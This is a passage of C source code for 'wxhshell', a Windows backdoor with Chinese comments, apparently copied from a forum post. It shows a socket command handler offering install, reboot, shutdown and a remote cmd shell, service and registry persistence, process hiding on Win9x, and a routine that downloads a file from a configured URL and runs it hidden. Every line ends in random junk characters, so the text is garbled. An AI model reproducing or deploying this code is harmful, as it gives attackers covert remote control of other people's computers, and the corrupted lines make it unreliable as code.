  else { PV(b J7&R  
[=u8$5/a  
    switch(cmd[0]) { 9z\q_ 0&i  
  @5\OM#WT~&  
  // 帮助 c)#b*k,lw<  
  case '?': { >#*]/t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ' IFbD["r  
    break; Ud^+a H  
  } EK_NN<So#  
  // 安装 *58<.L|  
  case 'i': { s2_j@k?%  
    if(Install()) Lg|j0-"N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l Vo](#W  
    else $%`OJf*k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,~X^8oY  
    break; .hn{m9|U  
    } R}llj$?  
  // 卸载 (k6=o';y  
  case 'r': { Sq%BfP)a(  
    if(Uninstall()) !w]!\H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #p&iH9c_  
    else f?#:@ zcL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VvSD &r^qI  
    break; x% k4Lm  
    } Zg5@l3w  
  // 显示 wxhshell 所在路径 knh^q;q*  
  case 'p': { [esjR`u  
    char svExeFile[MAX_PATH]; y^Oj4Y:  
    strcpy(svExeFile,"\n\r"); {F6hx9?  
      strcat(svExeFile,ExeFile); xE;4#+_I  
        send(wsh,svExeFile,strlen(svExeFile),0); (-(,~E  
    break; yC =5/wy`  
    } p+snBaAo}  
  // 重启 Z$X2*k6PK  
  case 'b': { jMcCu$i7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yrR<F5xge  
    if(Boot(REBOOT)) u Y V=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g v&xC 6>  
    else { SLSJn))@!  
    closesocket(wsh); rs~RKTv-  
    ExitThread(0); & oZI. Qeo  
    } D}HW7Hnu^  
    break; ']u w,b  
    } Pw1V1v&> q  
  // 关机 Os*,@N3t  
  case 'd': { Mto3Ryic!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MM|&B`v@;  
    if(Boot(SHUTDOWN)) t&mw@bj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $EN A$  
    else { [`=|^2n?  
    closesocket(wsh);  6?+bi\6  
    ExitThread(0); $d:/cN 8E  
    } Rde#=>@V  
    break;  %3KWc-  
    } |08tQ  
  // 获取shell -869$  
  case 's': { -1Lh="US  
    CmdShell(wsh); 8 fVI33  
    closesocket(wsh); ~ I]kY%  
    ExitThread(0); M< *5Y43  
    break; |ZJ]`qmZ  
  } &~6Z)}  
  // 退出 .P# c/SQp  
  case 'x': { @0A0\2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pHsp]a  
    CloseIt(wsh); ] \4-e2N`\  
    break; -F4CHpua  
    } tJUMLn?  
  // 离开 ZJP.-`U  
  case 'q': { ! D'U:)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W+H 27qsv  
    closesocket(wsh); AXH4jQw  
    WSACleanup(); %HL@O]ftS  
    exit(1); x|U]x  
    break; jXGr{n  
        } )cUc}Avg}  
  } X3!btxa% t  
  } c<A@Op"A  
#| A @  
  // 提示信息 TcpD*%wW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JXftQOn  
} {tu* ="d=  
  } aP cO9  
_66zXfM<  
  return; *.Y! ZaK  
} d7It}7@9  
Y_p   
// shell模块句柄 Z&s+*& TM  
int CmdShell(SOCKET sock) ;g^QH r  
{ za<Ja=f9X  
STARTUPINFO si; +TpM7QaL  
ZeroMemory(&si,sizeof(si)); n4>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _S,2j_R9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "0`r]5 5d  
PROCESS_INFORMATION ProcessInfo; %a8'6^k  
char cmdline[]="cmd"; fk*JoR.o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m1]rLeeEt  
  return 0; \ CV(c]  
} me1ac\  
? RB~%^c!  
// 自身启动模式 ^5 F-7R8Q  
int StartFromService(void) xPQO}wKa  
{ u<!!%C~+=  
typedef struct OZ![9l  
{ ~bigaY  
  DWORD ExitStatus; 9{70l539  
  DWORD PebBaseAddress; +3s i=x\=/  
  DWORD AffinityMask; aZ*b"3  
  DWORD BasePriority; &5(|a"5+G  
  ULONG UniqueProcessId; 6M"J3\ x  
  ULONG InheritedFromUniqueProcessId; z+PSx'#}  
}   PROCESS_BASIC_INFORMATION; Yah3I@xGy  
C(?>l.QGw  
PROCNTQSIP NtQueryInformationProcess; O5Yk=-_m  
EVgn^,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qAR~js`5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jn]hqTy8  
%dw-}1X  
  HANDLE             hProcess; P:(,l,}F8  
  PROCESS_BASIC_INFORMATION pbi; $d,30hK  
Eqp?cKrji  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XLqS{r~?  
  if(NULL == hInst ) return 0; BxG0vJN|  
kVkV~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 75!IzJG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C([;JO 11[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *r:8=^C7S  
bxkp9o  
  if (!NtQueryInformationProcess) return 0; S.t+HwVodO  
(}4tj4d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `9a%}PVQ-  
  if(!hProcess) return 0; Yx(?KN7V?  
dMeDQ`c`W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >AN`L`%2  
Va(R*38k  
  CloseHandle(hProcess); Z=8 25[p  
ghbxRnU}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KNIYar*3  
if(hProcess==NULL) return 0; zhHQJcQ.  
c#u-E6  
HMODULE hMod; R/ l1$}  
char procName[255]; J%j#gyTU  
unsigned long cbNeeded; ^uIZs}=+  
f]T#q@|lE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }(op;7  
1@CI7j  
  CloseHandle(hProcess); uO,90g[C/R  
W zy8  
if(strstr(procName,"services")) return 1; // 以服务启动 /}#z/m@bN  
o2a`4K  
  return 0; // 注册表启动 7S2Bm]fP  
} ,8+SQo #3  
+P}'2tE~'  
// 主模块 p*#SSR9<  
int StartWxhshell(LPSTR lpCmdLine) z)43+8;  
{ qO&:J\d  
  SOCKET wsl; ?v8RY,Q30  
BOOL val=TRUE; W`6nMFg  
  int port=0; <MT_zET  
  struct sockaddr_in door; y'2K7\>E  
f[%\LHq  
  if(wscfg.ws_autoins) Install(); ;`X-.45  
v SHb\V#  
port=atoi(lpCmdLine); 5_G7XBvD/w  
J>!p^|S{  
if(port<=0) port=wscfg.ws_port; CM9+h;Zm  
N<"_5  
  WSADATA data; uDH)0#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YCw^u  
rIW`(IG_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oo- ^BG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KW+^9&lA  
  door.sin_family = AF_INET; _f^q!tP&d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *=^_K`y  
  door.sin_port = htons(port); o=;.RYi  
s:I^AL5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &[R&@l Y  
closesocket(wsl); F[RhuNa&'W  
return 1; ={={ W  
} 2/B(T5PY@  
.7~Kfm@2  
  if(listen(wsl,2) == INVALID_SOCKET) { aH'^`]'_=  
closesocket(wsl); 2=F_<Jh|+  
return 1; ScZ$&n  
} LO# {   
  Wxhshell(wsl); d 'x;]#S  
  WSACleanup(); L?Wl#wP\;*  
4zJ9bF4  
return 0; Br \/7F  
(873:"(  
} ;E* ^AW  
WYEvW<Hv  
// 以NT服务方式启动 m='+->O*'l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /*r MveT  
{ PcDPRX!@  
DWORD   status = 0; .(1=iL_3e  
  DWORD   specificError = 0xfffffff; -W+dsZ Sv8  
nez5z:7F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1D=My1B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (:-DuUt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "TN}=^A\F  
  serviceStatus.dwWin32ExitCode     = 0; *zz/U (9D  
  serviceStatus.dwServiceSpecificExitCode = 0; 2S!=2u+7  
  serviceStatus.dwCheckPoint       = 0; BN#^ /a-  
  serviceStatus.dwWaitHint       = 0; ~5p `Kg*  
 pSV 8!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kIXLB!L2b^  
  if (hServiceStatusHandle==0) return; El"XF?OgpP  
aL#b8dCy'  
status = GetLastError(); q'  _  
  if (status!=NO_ERROR) :4(7W[r6  
{ hDmVv;M:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1<bSHn9  
    serviceStatus.dwCheckPoint       = 0; B<:i[~`7t  
    serviceStatus.dwWaitHint       = 0; "uZ'oN  
    serviceStatus.dwWin32ExitCode     = status; [0)iY%^  
    serviceStatus.dwServiceSpecificExitCode = specificError; M{O2O(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '-W p|A  
    return; '|WMt g  
  } v6oZD;;~  
i$%;z~#wW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Nm\I_wjX  
  serviceStatus.dwCheckPoint       = 0; G V0q?  
  serviceStatus.dwWaitHint       = 0; (qohb0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kpj0IfC,10  
} L$7v;R3  
Q?[k>fu0  
// 处理NT服务事件,比如:启动、停止 9J2% 9,^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7(gQ6?KsZ  
{ [Hn+r &  
switch(fdwControl) QKCk. 0Xe  
{ -qx Z3   
case SERVICE_CONTROL_STOP: %v}:#_va]  
  serviceStatus.dwWin32ExitCode = 0; J5|Dduv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w9.r`_-  
  serviceStatus.dwCheckPoint   = 0; 27,WP-qie  
  serviceStatus.dwWaitHint     = 0; EkXns%][L  
  { 9O}YtX2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u\=Nu4)Z F  
  } , JVD ;u  
  return; [lyB@) 6.  
case SERVICE_CONTROL_PAUSE: n"_EDb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S~Nx;sB  
  break; [@>Kd`!'  
case SERVICE_CONTROL_CONTINUE: 8?I(wn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;O{AYF?,N  
  break; r,yhc =  
case SERVICE_CONTROL_INTERROGATE: aEX+M57k~  
  break; ; [dcbyu@  
}; ,F:l?dfB\I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x#Hq74H,  
} "d.qmM  
j##IJm  
// 标准应用程序主函数 7CwG(c/5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LvW9kL+WiQ  
{ }tj@*n_  
h-jea1m  
// 获取操作系统版本 hnG'L*HooE  
OsIsNt=GetOsVer(); =b9?r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i~l0XjQbs  
Z8nNZ<k  
  // 从命令行安装 ,|T   
  if(strpbrk(lpCmdLine,"iI")) Install(); W@pVP4F0xM  
. 6Bz48*  
  // 下载执行文件 .sjM$#V=  
if(wscfg.ws_downexe) { ? )0U!)tK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -Ux/ Ug@  
  WinExec(wscfg.ws_filenam,SW_HIDE); X$%RJ3t e  
} v*]|1q%/  
]j_S2lt  
if(!OsIsNt) { hQl3F6-ud  
// 如果时win9x,隐藏进程并且设置为注册表启动 6!b96bV  
HideProc(); }bix+/]  
StartWxhshell(lpCmdLine); gpE5ua&  
} j: ]/AReOL  
else "R):B~8|H{  
  if(StartFromService()) e2/&X;2  
  // 以服务方式启动 =_L"x~0I-  
  StartServiceCtrlDispatcher(DispatchTable); N:gS]OI*  
else J/RUKhs/  
  // 普通方式启动 uX`Jc:1q3  
  StartWxhshell(lpCmdLine); cWh Aj>?_Q  
,:;nq>;  
return 0; `db++Z'C  
}
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只看该作者 1 发表于: 2006-10-10
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